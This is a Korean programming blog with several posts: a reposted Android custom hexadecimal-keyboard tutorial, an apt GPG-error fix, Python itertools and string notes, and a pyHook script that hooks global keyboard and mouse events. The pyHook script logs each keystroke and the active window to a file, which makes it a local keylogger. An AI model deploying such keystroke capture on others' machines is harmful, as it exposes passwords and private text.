2014. 6. 18. 23:53

생각의 정리 1. 

soft keyboard 만드는것도 일종의 앱이다. 공유메모리를 활용하면 다른 앱과의 통신도 가능할듯.. 

생각의 정리 2. 

공유메모리를 이용하면... 브라우저에 플러그인개발이 이때 들어가는군.. 그냥가져올순없나..


출처: http://www.fampennings.nl/maarten/android/09keyboard/index.htm


Maarten Pennings'
Android development: Custom keyboard
fampennings / maarten / android / 09keyboard

Custom keyboard

Download the source of this article.

1. Introduction

When using an application, we have to fill out alpha numeric fields. Since most phone or tablets don't have a full keyboard, Android offers us so called soft keyboards. In the figure below (left), we see the full keyboard on tablet. It should be noted that Android's soft keyboards are context sensitive: when the field is a phone number a different keyboard pops up (see the right figure below).

   
Entering a contact's name (left) and his phonenumber (right) with the standard Android Keyboard.

This question addressed in this article is: how can a developer offer a custom keyboard. More specifically we have a field that requires a hexadecimal number to be entered, so we are looking for a keyboard with the keys 0 to 9 and a to f.

2. Analysis

What kind of keyboards exist, next to the standard Android keyboards?

2.1. Manufacturer keyboard

One of the first things we notice on an Asus tablet is that we have the choice of using the standard Android keyboard, or using an Asus keyboard. The figure below shows the full text (left) and phone number only (right) keybaords of Asus.

   
Entering a contact's name (left) and his phonenumber (right) using the Asus keyboard.

We see big differences. The Asus phone keyboard has fewer keys (it doesn't have the obscure -/+/,/. keys), whereas the Asus full keyboard has more keys (it does have keys for all digits).

2.2. User installed keyboard

We saw above that manufacturers have the ability to add keyboards, where they are completely free in chosing a layout. Can we do that as an end-user?

Yes!

For example, we can install the Hacker's keyboard. Please note that installing a keyboard is not without risk: all keys pass this application, and this includes your passwords!

   
Entering a contact's name (left) and his phonenumber (right) using the Hacker's keyboard.

We see again big differences. Most notably, we see cursor keys and extra 'shift' keys (control and alt). And they work (including ctrl-v to paste)!

2.3. Input type

Besides the fact that a user can select which keyboard "service" (yes, each of these keyboards - Android, Asus, Hackers - runs a task) is active, we notice there is another mechanism to select which keyboard "layout" (full, phone) is chosen. Who choses that?

It's the application programmer that makes that choice. For example, an EditText has a field inputType that decides which layout to use. For example android:inputType="text" selects the full keyboard andandroid:inputType="phone" select the phone number one. See the developer site for the other types.

An no, there is no input type for hexadecimal numbers.

2.4. Dialog

Besides the keyboard services with multiple layouts, we see another approach. For examle, when we have to enter a date, we do not get a date specific keyboard, rather we get a date specific dialog. See the fgure below.


A dialog geared towards a specifc type of field (date in this case).

2.5. Conclusion

We could write our own keyboard service. But that looks like a hell of a lot of work (multiple layouts, accents, spell check support, locale specific fonts). Furthermore, it means that our customers (the end users of our app) not only have to install our app, but also the keyboard service (second apk?). They are not likely to do that, because wise users see the security issues with that. Finally, it probably will not help anyway. The reason is that there is no inputType for hexadecimal, so our app can not even request a hex layout to the keyboard service. So, writing a keyboard service is definitly a no go.

So, it looks like we are stuck with writing a dialog (just like the date picker) that has buttons for 0..9, a..f, ...

But wait, there is this badly known KeyboardView. What's that?

3. KeyboardView

Let's have a look at the KeyboardView class.

3.1. High level overview of the KeyboardView

Since API level 3, Android has a KeyboardView. As the name suggests, this is a View, so it is part of the layout of an activity. This is good news an bad news. It is bad news, because it means we have to obscure all layout files of our applications with a view for a keyboard. It is good news, because it means we are in full control in our app.

But wait, what will the KeyboardView show? The answer to this is that we have to associate a Keyboard with the KeyboardView. A keyboard consists of Rows, and rows consist of Keys, and keys are associated with alabel (what is shown on the key button) and a code (what is sent to the app when the key is pressed).

So, that's four classes to study:

But it is not that bad: a Keyboard can be setup with a single (ok, rather large) xml file. It lists all rows, their keys, and per key the label and the code. So, what we see in practice is a KeyboardView in our activity (activities), one or more xml files with a keyboard layout (in our case one file describing a hexadecimal keyboard layout), and a single line of code to assign the Keyboard to the KeyboardView. And then there are some issues in when to show the keyboard.

Let's look at the details.

3.2. Creating a KeyboardView

The KeyboardView is a View like any other, so we include it in the layout file of our activity. Nevertheless, there are a couple of noteworthy remarks; they are marked red in the code fragment below.

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent" >

    <EditText
        android:id="@+id/edittext0"
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"
        android:layout_alignParentTop="true"
        android:layout_centerHorizontal="true"
        android:drawableRight="@drawable/hex"
        android:inputType="text" />

    <EditText
        android:id="@+id/edittext1"
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"
        android:layout_below="@id/edittext0"
        android:layout_centerHorizontal="true"
        android:drawableRight="@drawable/txt"
        android:inputType="text" />

    ...

    <android.inputmethodservice.KeyboardView
        android:id="@+id/keyboardview"
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"
        android:layout_alignParentBottom="true"
        android:layout_centerHorizontal="true"
        android:focusable="true"
        android:focusableInTouchMode="true"
        android:visibility="gone" />

</RelativeLayout>

First of all, the KeyboardView will be used to show a keyboard. Typically, keyboards are at the bottom of the screen (android:layout_alignParentBottom="true"), filling the complete width (android:layout_width="fill_parent"); this is easily achieved in RelativeLayout (maybe throw in a vertical scroll bar). Secondly, the keyboard is hidden by default (android:visibility="gone"); we use thegone value instead of invisible to completely hide it. Thirdly, the KeyboardView, for reasons unknown to me, is not part of a package that is automagically found. So, we need to add the full path (android.inputmethodservice.KeyboardView).

Unfortunately, the graphical layout editor in Eclipse cannot find that package either. So it gives an exception (java.lang.NoClassDefFoundError: Could not initialize class android.inputmethodservice.KeyboardView) and the keyboard is not shown. I have no idea how to fix that (I would expect that I could add a search path to the graphical layout editor in Eclipse). The feedback I got from Jan, is that Android Studio gives the same complaint.

3.3. Creating a Keyboard

The prevous section showed how to create a KeyboardView. This is a view, so this was most easily done in xml: the actvity has a layout file activity_main, which contains a view of type KeyboardView with idkeyboardview.

The second step is to create a Keyboard. A Keyboard is a data structure describing rows of keys, each with their label and key code. A large part is also done in xml (file hexkbd), and a small part is done programatically; see the code fragment below.

@Override protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
    ...
    // Create the Keyboard
    Keyboard mKeyboard= new Keyboard(MainActivity,R.xml.hexkbd);

    // Lookup the KeyboardView
    KeyboardView mKeyboardView= (KeyboardView)findViewById(R.id.keyboardview);
    // Attach the keyboard to the view
    mKeyboardView.setKeyboard( mKeyboard );
    // Do not show the preview balloons
    mKeyboardView.setPreviewEnabled(false);
    ...
}

The image below shows where the two xml files (activity layout and keyboard layout) are located.


The location of the xml files.

3.4. The Keyboard xml layout file

The xml file hexkbd describes the complete keyboard. Recall that we want to make a hexadecimal keyboard, so we have relatively few keys. In order to illustrate some points, we have added a number of keys: backspace/clear all, cursor left/right, cursor begin/end, prev/next field and keyboard hide button.


The design of our hexadecimal keyboard.

Observe that we have a 'keyboard hide' button (centre of the lowest row). Many KeyboardView keyboards have this because the normal 'hide keyboard' feature in the system bar doesn't work anymore. We can see this in the figure: the bar at the bottom still shows the 'Back' soft key instead of the 'Hide keyboard' softkey.

3.4.1. Key sizes

One of the great features (I miss that in activity layouts...) is the fact that (key) sizes can be expressed in percentages relative to the parent container (by using %p as unit). This also means that we have no (ok little) worries on landscape versus portrait.

When we define a keyboard, we have three levels where we can set properties: at keyboard level, at row level, and at key level. Since most keys on a keyboard have the same size, it makes sense to set the keysize at the keyboard level, and have some overrides at key level. As we can see in the figure above, each row in our hexkbd has 3 keys, a gap of half a key, 2 keys, again a gap of half a key, and finally 2 keys. This sums up to 8 keys, so the key width is 1/8 of 100% or 12.50%. We set the key height to 10%, which means that the full keyboard (4 rows) takes 40% of the complete screen. We have two width overrides: the '0' key has double width (25%) and the 'keyboard hide' key has double width (25%). These size settings are shown in blue in the code fragment below.

<?xml version="1.0" encoding="utf-8"?>
<Keyboard xmlns:android="http://schemas.android.com/apk/res/android"
    android:keyWidth="12.50%p"
    android:keyHeight="10%p" >

    <Row>
        <Key android:codes="55"    android:keyLabel="7" android:keyEdgeFlags="left" />
        <Key android:codes="56"    android:keyLabel="8" />
        <Key android:codes="57"    android:keyLabel="9" />
        <Key android:codes="65"    android:keyLabel="A" android:horizontalGap="6.25%p" />
        <Key android:codes="66"    android:keyLabel="B" />
        <Key android:codes="-5"    android:keyIcon="@drawable/sym_keyboard_delete" android:isRepeatable="true" android:horizontalGap="6.25%p" />
        <Key android:codes="55006" android:keyLabel="CLR" android:keyEdgeFlags="right"/>
    </Row>
    <Row>
        <Key android:codes="52"    android:keyLabel="4" android:keyEdgeFlags="left"  />
        <Key android:codes="53"    android:keyLabel="5" />
        <Key android:codes="54"    android:keyLabel="6" />
        <Key android:codes="67"    android:keyLabel="C" android:horizontalGap="6.25%p" />
        <Key android:codes="68"    android:keyLabel="D" />
        <Key android:codes="55002" android:keyIcon="@drawable/sym_keyboard_left" android:isRepeatable="true" android:horizontalGap="6.25%p" />
        <Key android:codes="55003" android:keyIcon="@drawable/sym_keyboard_right" android:isRepeatable="true" android:keyEdgeFlags="right" />
    </Row>
    <Row>
        <Key android:codes="49"    android:keyLabel="1"  android:keyEdgeFlags="left" />
        <Key android:codes="50"    android:keyLabel="2" />
        <Key android:codes="51"    android:keyLabel="3" />
        <Key android:codes="69"    android:keyLabel="E" android:horizontalGap="6.25%p" />
        <Key android:codes="70"    android:keyLabel="F" />
        <Key android:codes="55001" android:keyIcon="@drawable/sym_keyboard_allleft" android:horizontalGap="6.25%p" />
        <Key android:codes="55004" android:keyIcon="@drawable/sym_keyboard_allright" android:keyEdgeFlags="right" />
    </Row>
    <Row>
        <Key android:codes="48"    android:keyLabel="0" android:keyWidth="25%p" android:horizontalGap="6.25%p" android:keyEdgeFlags="left" />
        <Key android:codes="-3"    android:keyIcon="@drawable/sym_keyboard_done" android:keyWidth="25%p" android:horizontalGap="12.50%p" />
        <Key android:codes="55000" android:keyLabel="PREV" android:horizontalGap="6.25%p" />
        <Key android:codes="55005" android:keyLabel="NEXT" android:keyEdgeFlags="right" />
    </Row>
</Keyboard>

We can also make tall keys. For example, we could add android:keyHeight="20%p" to the 'F' key, so that it becomes twice as tall. It would then overlap with the 'keyboard hide' key. To prevent that we would typically make the 'keyboard hide' key half the width (12.5%) and add a larger gap (18.75%) before 'PREV' (see below).

To make everything work across different screen sizes, you may want to put things like the keyboard's keyHeight value in device-dependent resource directories. If you use percentages for that (using "%p"), you need to create "fraction" resources (referenced by @fraction/). Thanks for the tip Jan!

3.4.2. Key gaps

Another feature is that we can offset (indent) a row of keys (as we did with the last row), or even (as we also did) add gaps to create islands of keys. Use the attribute android:horizontalGap for that, and my advise is to use percentages here too. The gap settings are shown in red in the code fragment above.

It is possible to add android:horizontalGap and/or android:verticalGap on keyboard level. This is most useful when we want to add a tiny amount of space between all keys. It is tempting to do that in pixels, but this interferes with the key size (width/height) in percentages; they no longer add up to 100%.

I cannot find the spec of horizontalGap, but as this example demonstrates, the gap is before the key that carries the horizontalGap attribute. However, when we add a horizontalGap (on Keyboard level) that is greater than 0, the horizontalGap (on Key level) no longer creates a gap before but now after the key that carries the horizontalGap attribute. To me, this looks like a bug...

Jan had a nasty surprise on his Nexus 4 with KitKat: the landscape rendering is wrong: horizontalGap is after the key, while in portrait it is before! When I tested it on a Nexus 5 with KitKat, I had a similar nasty surprise: for me the the portrait mode is wrong (gaps after key instead of before), and landscape is ok. Jan ended up adding horizontalGap attribute of 1px to Keyboard. But if the first item of the keyboard row has a drawable (as he had it in the last row; that's where he put the hide keyboard key), the behaviour reverses for that key, making it impossible to add a gap after that key...

The keyEdgeFlags are a bit magic. In all the examples I found, the attribute android:keyEdgeFlags="left" is at the left most key in a row and the android:keyEdgeFlags="right" is at the right most key. But when absent, the keyboard still layout's nicely. Because every body seems to do it, I included these flags too. The documentation suggest it has to do with handling touch events: "Flags that specify the anchoring to edges of the keyboard for detecting touch events that are just out of the boundary of the key."

3.4.3. Key labels

The next issue to settle is the labels on the buttons. There are two options: strings and drawables.

String are associated with the attribute keyLabel. As an example, consider the single character labels android:keyLabel="0" or android:keyLabel="A", or the multi character labels android:keyLabel="CLR" orandroid:keyLabel="NEXT". Jan points out that multi character labels have a smaller font than single character labels because they use labelTextSize instead of keyTextSize, see documentation.

Drawables are associated with the attribute keyIcon. As an example consider android:keyIcon="@drawable/sym_keyboard_allleft" shown below.


The drawable "sym_keyboard_allleft.png"

Please be aware that smaller screens still need some precaution. The figure below shows the same keyboard on a phone. Notice that the icons are too big (this can probably be fixed by including the icons in several resolutions in the res/drawable_xxx directories) and that even plain text labels might become too big ('prev' and 'next' are on the border).


Problems on smaller screens

I have no idea how to change the background color of some keys as is done with the shift/tab/backspace key in the standard keyboard. Will Verduzco wrote a followup article, that touches on the subject of styling.

3.4.4. Key codes

When a key is pressed,the KeyboardView calls the onKey() of its OnKeyboardActionListener. It passes the key code of the key. The key codes are declared in the xml file. For example, for the 'A' key we use the key code 65.

The keyboard is completely app specific: the application has to provide the key handling in the onKey(). This means that the key codes can be chosen freely. Nevertheless, the key handler becomes simpler if we use some standard (e.g. Unicode) for plain keys. And that's what we did in the example.

For the non plain keys (cursor movement, delete), we pick some arbitrary number; the example uses 55000 and higher.

When there is no keyCode, the KeyboardView derives a code from the label. When key android:keyLabel="A" does not have a key code, its gets 65! When key android:keyLabel="PREV" does not have a key code, its gets 80 (the Unicode of 'P' is 80). When a key does not have a code, nor a label, an exception is raised.

A nice feature is the attribute android:isRepeatable="true". It makes the key auto repeat as long as it is pressed. We have used this for the cursor movement and delete.

If we look at the details, there is some unexpected flexibility. Each key may declare a list of key codes (with a maximum of twelve?), such as android:codes="65,66,67". When the key is pressed, the onKey(int primaryCode, int[] keyCodes) is called. The array keyCodes contains this list; it is always (?) twelve integers long where the start of the list has the declared key codes and the list is padded with -1's. The first element of the list is always passed as the primaryCode parameter. The documentation explains the use: "The alternatives will include other characters that may be on the same key or adjacent keys. These codes are useful to correct for accidental presses of a key adjacent to the intended key".

3.4.5. Key popups

An advanced feature is that a key can have a popup. It appears when the key is long pressed. This feature is known from the standard Android keyboard as well: the popup shows alternative keys. For example, a long press on 'e' typically shows 'é', 'è', 'ë' etc.


A popup for the 'A' key (on long press), the generic way

There are two ways to make a popup keyboard: generic and dedicated.

The dedicated way is to add an element to a key specifying a keyboard layout for the popup keyboard. For example, we could add android:popupKeyboard="@xml/newkeyboard" to some key. This requires an xml filenewkeyboard which has all the features of the main keyboard.

The generic way is to add an element to a key specifying the labels (with implict codes) of the popup keys. For example, we could add android:popupCharacters="aA" to the 'A' key. This does require require an xml file, but only with keyboard level attributes.

The key is decorated as follows.

<Key android:codes="65" android:keyLabel="A" android:popupKeyboard="@xml/popup" android:popupCharacters="aA" >

The popup.xml has the following content.

<?xml version="1.0" encoding="utf-8"?>
<Keyboard xmlns:android="http://schemas.android.com/apk/res/android"
    android:keyWidth="10%p"
    android:keyHeight="10%p">
</Keyboard>

3.5. The key handler

We have to write the key handler ourselves. For this, we add the red code to the creation of the keyboard.

// Create the Keyboard
Keyboard mKeyboard= new Keyboard(MainActivity,R.xml.hexkbd);

// Lookup the KeyboardView
KeyboardView mKeyboardView= (KeyboardView)findViewById(R.id.keyboardview);
// Attach the keyboard to the view
mKeyboardView.setKeyboard( mKeyboard );

// Install the key handler
mKeyboardView.setOnKeyboardActionListener(mOnKeyboardActionListener);
...
}

As mentioned above, the OnKeyboardActionListener has an onKey(), but it has many more methods.

private OnKeyboardActionListener mOnKeyboardActionListener = new OnKeyboardActionListener() {
    @Override public void onKey(int primaryCode, int[] keyCodes) {
    }

    @Override public void onPress(int arg0) {
    }

    @Override public void onRelease(int primaryCode) {
    }

    @Override public void onText(CharSequence text) {
    }

    @Override public void swipeDown() {
    }

    @Override public void swipeLeft() {
    }

    @Override public void swipeRight() {
    }

    @Override public void swipeUp() {
    }
};

We only override the onKey(). It searches for the view in focus (if it is not an EditText, we abort). Then it executes an action based on the actual key code (for a list of key codes, see below).

@Override public void onKey(int primaryCode, int[] keyCodes) {
    // Get the EditText and its Editable
    View focusCurrent = MainActivity.this.getWindow().getCurrentFocus();
    if( focusCurrent==null || focusCurrent.getClass()!=EditText.class ) return;
    EditText edittext = (EditText) focusCurrent;
    Editable editable = edittext.getText();
    int start = edittext.getSelectionStart();
    // Handle key
    if( primaryCode==CodeCancel ) {
        hideCustomKeyboard();
    } else if( primaryCode==CodeDelete ) {
        if( editable!=null && start>0 ) editable.delete(start - 1, start);
    } else if( primaryCode==CodeClear ) {
        if( editable!=null ) editable.clear();
    } else if( primaryCode==CodeLeft ) {
        if( start>0 ) edittext.setSelection(start - 1);
    } else if( primaryCode==CodeRight ) {
        if (start < edittext.length()) edittext.setSelection(start + 1);
    } else if( primaryCode==CodeAllLeft ) {
        edittext.setSelection(0);
    } else if( primaryCode==CodeAllRight ) {
        edittext.setSelection(edittext.length());
    } else if( primaryCode==CodePrev ) {
        View focusNew= edittext.focusSearch(View.FOCUS_BACKWARD);
        if( focusNew!=null ) focusNew.requestFocus();
    } else if( primaryCode==CodeNext ) {
        View focusNew= edittext.focusSearch(View.FOCUS_FORWARD);
        if( focusNew!=null ) focusNew.requestFocus();
    } else {// Insert character
        editable.insert(start, Character.toString((char) primaryCode));
    }
}

The key codes are the codes used in the xml file; they have constants in the java class.

public final static int CodeDelete   = -5; // Keyboard.KEYCODE_DELETE
public final static int CodeCancel   = -3; // Keyboard.KEYCODE_CANCEL
public final static int CodePrev     = 55000;
public final static int CodeAllLeft  = 55001;
public final static int CodeLeft     = 55002;
public final static int CodeRight    = 55003;
public final static int CodeAllRight = 55004;
public final static int CodeNext     = 55005;
public final static int CodeClear    = 55006;

3.6. When to show or hide the custom keyboard

One of the hardest issues with the KeyboardView is making it visible at the right time. There is only one thing harder: making the standard keyboard invisible at the same time!

Let's start by writing the methods that show respectively hide the custom keyboard. After that, we focus on when to call them.

public void hideCustomKeyboard() {
    mKeyboardView.setVisibility(View.GONE);
    mKeyboardView.setEnabled(false);
}

public void showCustomKeyboard( View v ) {
    mKeyboardView.setVisibility(View.VISIBLE);
    mKeyboardView.setEnabled(true);
    if( v!=null ) ((InputMethodManager)getSystemService(Activity.INPUT_METHOD_SERVICE)).hideSoftInputFromWindow(v.getWindowToken(), 0);
}

public boolean isCustomKeyboardVisible() {
    return mKeyboardView.getVisibility() == View.VISIBLE;
}

The showCustomKeyboard() will be called when and EditText is getting focus. We not only show the custom keyboard, but also actively switch off the standard keyboard.

Now to when to show or hide the custom keyboard. The model that we use is that our custom keyboard is "coupled" to one (or more) EditTexts. When a "coupled" EditText has focus the custom keyboard should be visible. By setting the OnFocusChangeListener of the EditText, we can show the custom keyboard when the edit box gets focus, but also hide it when the edit box loses focus.

// Find the EditText
EditText edittext= (EditText)findViewById(...);

// Make the custom keyboard appear
edittext.setOnFocusChangeListener(new OnFocusChangeListener() {
    @Override public void onFocusChange(View v, boolean hasFocus) {
        if( hasFocus ) showCustomKeyboard(v); else hideCustomKeyboard();
    }
});

However, this listener only gets called at the transition of getting (or losing) focus. If the EditText has focus, but the keyboard is hidden (e.g. after pressing the hide keyboard button) how can the user make it visible again? The standard keyboard allows a re-tap of the EditText in focus. Let's mimick that.

edittext.setOnClickListener(new OnClickListener() {
    @Override public void onClick(View v) {
        showCustomKeyboard(v);
    }
});

We are nearly there. When our activity starts, with a coupled EditText in focus, the standard keyboard is displayed. If have no idea why, I would expect the last statement in showCustomKeyboard() would have hidden it, but it hasn't. We add one more line (the red one) to the creation of the keyboard.

// Create the Keyboard
Keyboard mKeyboard= new Keyboard(MainActivity,R.xml.hexkbd);

// Lookup the KeyboardView
KeyboardView mKeyboardView= (KeyboardView)findViewById(R.id.keyboardview);
// Attach the keyboard to the view
mKeyboardView.setKeyboard( mKeyboard );

// Install the key handler
mKeyboardView.setOnKeyboardActionListener(mOnKeyboardActionListener);

// Hide the standard keyboard initially
getWindow().setSoftInputMode(WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN);
...
}

As a final step, we would like the back button of the activity to close the custom keyboard (if it is open). Therefore, we add the following code to our activity.

@Override public void onBackPressed() {
    if( isCustomKeyboardVisible() ) hideCustomKeyboard(); else this.finish();
}

Still, Android is persistent in poping up the standard keybaord. There is one certain way to stop Android doing this: add edittext.setInputType(InputType.TYPE_NULL) to tell Android that we won't be doing any editing on the EditText. However, this has one small issue, Android won't be showing a cursor. And no, edittext.setCursorVisible(true) doesn't help (I consider this a bug).


A cursor in an EditText.

If you don't need a cursor, you're done. But we want a cursor: we have added cursor keys in our custom keyboard. So, we can not set the input type to null, we set it to text. As a result, we have to standard keyboard poping up.

I found the following work around on the web (forgot where...). The trick is to have the input type set to text (so that the cursor is always visible), but just before a key press, we set input type to none and call the base class handler. This way, the base class handler only sees input type none and does not pop up the standard keyboard.

edittext.setOnTouchListener(new OnTouchListener() {
    @Override public boolean onTouch(View v, MotionEvent event) {
        EditText edittext = (EditText) v;
        int inType = edittext.getInputType();       // Backup the input type
        edittext.setInputType(InputType.TYPE_NULL); // Disable standard keyboard
        edittext.onTouchEvent(event);               // Call native handler
        edittext.setInputType(inType);              // Restore input type
        return true; // Consume touch event
    }
});

3.7. But I have multiple EditTexts

It is not uncommon that multiple EditTexts need the same custom keyboard. We can solve that be writing all EditText related code in a registerEditText method, and call it for all the EditTexts that need the keyboard.

public void registerEditText(int resid) {
    // Find the EditText 'resid'
    EditText edittext= (EditText)findViewById(resid);
    // Make the custom keyboard appear
    edittext.setOnFocusChangeListener(new OnFocusChangeListener() {
        @Override public void onFocusChange(View v, boolean hasFocus) {
            if( hasFocus ) showCustomKeyboard(v); else hideCustomKeyboard();
        }
    });
    edittext.setOnClickListener(new OnClickListener() {
        @Override public void onClick(View v) {
            showCustomKeyboard(v);
        }
    });
    // Disable standard keyboard hard way
    edittext.setOnTouchListener(new OnTouchListener() {
        @Override public boolean onTouch(View v, MotionEvent event) {
            EditText edittext = (EditText) v;
            int inType = edittext.getInputType();       // Backup the input type
            edittext.setInputType(InputType.TYPE_NULL); // Disable standard keyboard
            edittext.onTouchEvent(event);               // Call native handler
            edittext.setInputType(inType);              // Restore input type
            return true; // Consume touch event
        }
    });
    // Disable spell check (hex strings look like words to Android)
    edittext.setInputType( edittext.getInputType() | InputType.TYPE_TEXT_FLAG_NO_SUGGESTIONS );
}

4. Convert to a class

To make it easier to use a custom keyboard; we can move all keyboard code to a seperate class.

package nl.fampennings.keyboard;
...

class CustomKeyboard {

    private KeyboardView mKeyboardView;
    private Activity     mHostActivity;

    private OnKeyboardActionListener mOnKeyboardActionListener = new OnKeyboardActionListener() {
        @Override public void onKey(int primaryCode, int[] keyCodes) {
            ...
        }
        ...
    };

    public CustomKeyboard(Activity host, int viewid, int layoutid) {
        ...
    }

    public boolean isCustomKeyboardVisible() {
        ...
    }

    public void showCustomKeyboard( View v ) {
        ...
    }

    public void hideCustomKeyboard() {
        ...
    }

    public void registerEditText(int resid) {
        ...
    }

}

The activity then just registers the EditTexts.

package nl.fampennings.keyboard;

import android.app.Activity;
import android.os.Bundle;

public class MainActivity extends Activity {

    CustomKeyboard mCustomKeyboard;

    @Override protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        mCustomKeyboard= new CustomKeyboard(this, R.id.keyboardview, R.xml.hexkbd );

        mCustomKeyboard.registerEditText(R.id.edittext0);
        // mCustomKeyboard.registerEditText(R.id.edittext1);
        // mCustomKeyboard.registerEditText(R.id.edittext2);
        mCustomKeyboard.registerEditText(R.id.edittext3);
        mCustomKeyboard.registerEditText(R.id.edittext4);
    }

    @Override public void onBackPressed() {
        if( mCustomKeyboard.isCustomKeyboardVisible() ) mCustomKeyboard.hideCustomKeyboard(); else this.finish();
    }

}

Download the source of this article.

Posted by k1rha
2014. 6. 16. 11:08


W: 디지털 서명 확인에 오류가 발생했습니다. 저장고를 업데이트하지 않고

예전의 인덱스 파일을 사용합니다. GPG 오류: http://kr.archive.ubuntu.com precise-updates Release: 다음 서명이 올바르지 않습니다: BADSIG 40976EAF437D05B5 Ubuntu Archive Automatic Signing Key <ftpmaster@ubuntu.com>


W: http://kr.archive.ubuntu.com/ubuntu/dists/precise-updates/Release 파일을 받는데 실패했습니다  


W: Some index files failed to download. They have been ignored, or old ones used instead.

k1rha@k1rh4:/home/LLVM$ 




[출처 : http://bunhere.tistory.com/1 ]


빌드 스크립트를 만들어 패키지 업데이트 하고, 소스 컴파일을 하도록 하다보니, 왕왕 삽질하는 경우가 있었는데, 남이 만든 스크립트를 갖다 쓰다 왕창 삽질을 하고 말았다.

 

[문제]apt-get update시 아래 에러 메시지 발생(키가 다르지만 비슷)

W: GPG error: http://archive.ubuntu.com hoary Release: The following signatures
were invalid: BADSIG 40976EAF437D05B5 Ub
untu Archive Automatic Signing Key

삽질 1>

시냅틱 매니저를 띄워서 리로드를 해봐도 403 Unauthentication (맞나?)와 함께 갱신이 안됨

(서버를 변경해보면서 해봐도 안됨, http_proxy 체크해봄)

 

삽질 2>

GPG 키에 문제가 있나 싶어 gpg key를 새로 받아봄

(기존에 있는 것은 지워도 봄 - 지우면 NO_PUBKEY 에러가 발생)

gpg --keyserver wwwkeys.eu.pgp.net --recv-keys 010908312D230C5F

gpg --armor --export 010908312D230C5F| apt-key add -

키서버는 우분투에 있는걸 해도 관계 없을듯.

 

해결책>

https://bugs.launchpad.net/ubuntu/+source/update-manager/+bug/24061

apt-get clean
cd /var/lib/apt
mv lists lists.old
mkdir -p lists/partial
apt-get clean
apt-get update

그냥 패키지가 꼬였던 듯 -_-;


원본 위치 <http://bunhere.tistory.com/1

Posted by k1rha
2014. 6. 1. 17:08

python iterator 관련 tiertools 패키지 및 메소드 정리 



http://docs.python.org/2/library/itertools.html


from itertools import *

 

 

 

count(n) : n 부터 시작하는 정수,증가하는 이터레이터

 

cycle(list) : list반복하는 it

 

repeat(elem, n) : elem을 n번 반복하는 이터레이터

 

chain(p,q) : p에 q를 붙인 it

 

compress(data, selector) : data에서 selector에 충족하는것만

 

dropwhile(pred,seq) : pred에 seq를 대입해서 참일때까지 떨구고, 나머지부터 iter

 

takewhile() : 조건이 참일때까지 iterate.

 

ifilter(pred,seq) : 이터레이터 필터, seq중에 조건에 참인걸 나타냄

 

ifilerfalse(pres, seq) : 거짓인걸 나타냄

 

imap(func, p, q) iterator map   ex imap(pow,(2,3,10), (5,2,3))

 

strmap(func, seq) : ex strmap(pow, [(2,5),(3,2),(10,3)])

 

tee(it, n) : 한 이터레이터를 n개로 나눈다. 라고 써있는것같은데.. 복사인듯, n개의 it가 각각 같은 반복을 함..

 

 

 

이건 수학시간때 배웠을법한.. 경우의수인가..

product('ABCD', repeat=2)  

AA AB AC AD 

BA BB BC BD 

CA CB CC CD 

DA DB DC DD

 

permutations('ABCD', 2)

AB AC AD BA 

BC BD CA CB 

CD DA DB DC

 

combinations('ABCD', 2)

AB AC AD BC BD CD

 

combinations_with_replacement('ABCD', 2)

AA AB AC AD 

BB BC BD 

CC CD 

DD




Posted by k1rha
2014. 6. 1. 17:03

python string 관련 메소드 정리



import string


print string.digits

print string.ascii_letters

print string.punctuation

print string.uppercase

print string.lowercase


---------- result -----------------

0123456789

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ

!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~

ABCDEFGHIJKLMNOPQRSTUVWXYZ

abcdefghijklmnopqrstuvwxyz

0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz

0123456789

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ

!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~

[Finished in 0.2s]


Posted by k1rha
2014. 5. 24. 16:21

키보드 마우스 후킹 ( Key Mouse Event hooking ) 

pyHook 이 너무 라이브러리가 잘되어 있다. 

MouseEvent , Keyboard Hook 외에도 아래 사이트를 참조하면 라이브러리들에 대한 소개가 있음.

http://www.cs.unc.edu/Research/assist/doc/pyhook/public/pyHook.HookManager-module.html



import os

import time

import pyHook # http://sourceforge.net/projects/pyhook/

from win32gui import GetWindowRect, GetClassName, GetWindowText

##http://sourceforge.net/projects/pywin32/files/pywin32/Build216/



curTime = time.strftime("%Y%m%d_%H%M%S", time.localtime(time.time()))


if not os.path.exists("Messages"):

os.mkdir("Messages")

print "Make Message Directory "

f = open("Messages\\messages"+ curTime +".txt", "w")


def Log(logStr):

print "In logging "

print str(logStr)

f.write(logStr + "\n")


  

def OnMouseEvent(event):

print "On Mouse Event "

Log('MessageName:' + str(event.MessageName))

Log('Message:' + str(event.Message))

Log('Time:' + str(event.Time))

Log('Window:' + str(event.Window))

if event.Window != 0:

Log('Window Rect:' + str( GetWindowRect(event.Window)))

Log('Window Class Name:' + str( GetClassName(event.Window)))

#Log('Window Text:' + str( GetWindowText(event.Window)))

Log('WindowName:' + str(event.WindowName))

Log('Position:' + str(event.Position))

Log('Wheel:' + str(event.Wheel))

Log('Injected:' + str(event.Injected))

Log('---')


# return True to pass the event to other handlers

# return False to stop the event from propagating

return True


def OnKeyboardEvent(event):

print "On keyboard Event "

Log('MessageName:' + str(event.MessageName))

Log('Message:' + str(event.Message))

Log('Time:' + str(event.Time))

Log('Window:' + str(event.Window))

if event.Window != 0:

Log('Window Rect:' + str( GetWindowRect(event.Window)))

Log('Window Class Name:' + str( GetClassName(event.Window)))

#Log('Window Text:' + str( GetWindowText(event.Window)))

Log('WindowName:' + str(event.WindowName))

Log('Ascii:' + str( event.Ascii) + str( chr(event.Ascii)))

Log('Key:' + str( event.Key))

Log('KeyID:' + str( event.KeyID))

Log('ScanCode:' + str( event.ScanCode))

Log('Extended:' + str( event.Extended))

Log('Injected:' + str( event.Injected))

Log('Alt' + str( event.Alt))

Log('Transition' + str( event.Transition))

Log('---')


